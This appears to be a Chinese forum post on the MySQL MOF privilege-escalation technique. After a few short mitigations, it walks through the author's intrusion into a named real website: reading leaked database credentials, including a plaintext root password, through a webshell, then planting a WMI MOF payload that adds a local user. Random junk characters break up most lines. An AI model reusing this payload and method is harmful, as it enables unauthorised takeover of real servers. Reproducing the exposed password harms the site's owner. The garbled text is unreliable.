Mysql mof扩展漏洞防范方法
2 O- x% t3 W1 }% n* R1 j9 L- r( [! \& g" l2 K
网上公开的一些利用代码:
5 [5 F0 i% X" E2 f
) Y' _! H/ N7 `: C#pragma namespace(“\\\\.\\root\\subscription”)
& @6 s6 Q r8 P% W$ o
2 g6 w6 ~( V- F2 w7 ?& binstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
3 F% d+ J) m V1 C; ~
4 U2 c1 ` G( Q 7 _9 X# C+ b# x0 q6 U% k0 @# S7 R
) k) z, Z0 L' Q 9 g6 ^$ v7 V1 R- W; n
0 b9 t o/ Y5 e1 e7 s- w8 ]4 Z# @
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 F) s& R( I, N% ]7 X- p% q从上面代码来看得出解决办法:: z8 A' Q* h/ i0 }5 q
3 i2 V5 W* @2 Y6 [/ D7 p7 T
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数3 e; o: q! `6 w4 ~
, r9 g9 g* L1 o( Q! q$ g2、禁止使用”WScript.Shel”组件
/ v! m$ l2 F6 \9 p9 o& z' A& P! M/ p9 i/ I
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
+ l G$ K5 H; N. V; Q- e. B
1 t9 X J% h, z, e; E当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
9 u: L, ~8 e9 e" r0 S7 |/ c4 F5 t' }3 S0 C$ Z
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权$ \9 I; A9 d4 p+ [
5 V- E9 i# w' B, G# o" d但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
$ @2 t0 X+ W& |5 ]& |# d" f1 |, A& _
8 C5 _; _' F' x5 w# M3 ^) ?看懂了后就开始练手吧' S9 i' @+ F3 D: ~1 x- T4 [
2 |; L" j' A( O; Rhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
7 A0 x: m4 l4 V# C; C0 |9 @8 t; [! a$ h' k& B
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
/ S2 H+ {# N6 E: T* q: K3 \; r0 Q$ @3 y! ^ ]6 s2 B
于是直接用菜刀开搞9 q7 R8 U5 Y; C* U& t1 e4 n8 ^
, {& w) P. Q( x) h. U上马先
2 c/ { l" @2 ?7 q8 [$ d7 ^9 ^4 O/ _; X% `
既然有了那些账号 之类的 于是我们就执行吧…….
$ p8 G) E" M' M
( }' |7 r! O2 j3 E/ `小小的说下 H" ~7 r; N' h
1 U+ M9 H7 w L3 U4 t在这里第1次执行未成功 原因未知& J. Q2 ?6 b6 A4 {/ H! q+ l, a% _
{7 N; p" |$ o2 ]我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。) w/ r8 I+ V; n$ L. M; Z1 ~
# @4 l1 h$ R' H0 W#pragma namespace(“\\\\.\\root\\subscription”); b8 \, M* M# |& ~' _- D- [; j4 t. c, u
" c* o2 G: @' I) `0 T: c) G; E
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };: A: }: S( P7 E+ m9 h {) c
& N$ q5 h, D q7 }$ k ?我是将文件放到C:\WINDOWS\temp\1.mof
7 o! _4 @% o6 g" |2 [
. o, A6 ]" b) X6 G* C/ P6 W; o _所以我们就改下执行的代码- r4 Y1 h- @5 T, f5 o
/ z2 }0 d# @6 \) c- C3 I9 p7 m) Iselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;4 J. \& V' U; X9 ^
' m3 R+ |9 I. E/ z5 G$ s9 o" [/ [4 B+ l+ R( t% ]
1 r7 q7 ~2 e& a( C! N; r7 A但是 你会发现账号还是没有躺在那里。。
0 M! t, ?2 W4 G8 l7 I# J$ |, I) [* k7 G# N) g5 K; c
于是我就感觉蛋疼6 C J$ H D; K' v, s+ G- k' K! l
- x% D& U- ]6 e就去一个一个去执行 但是执行到第2个 mysql时就成功了………
, C6 L0 l9 d) m- _
) n& z0 a4 L( w' A U, u8 g( m
) U, [& q! l: \, C
$ h5 a# `0 l a, Z但是其他库均不成功…
7 `3 Q% d3 \, R) i# e4 g) {. y* `& {
1 Z% j4 _, p7 B7 `* D( f我就很费解呀 到底为什么不成功求大牛解答…: m/ j2 h8 X5 K& \9 |1 }* Y
$ B) S( T6 M: n
- _, K& u- N# f& W" r( r W1 u' R; y, V0 }$ z t
|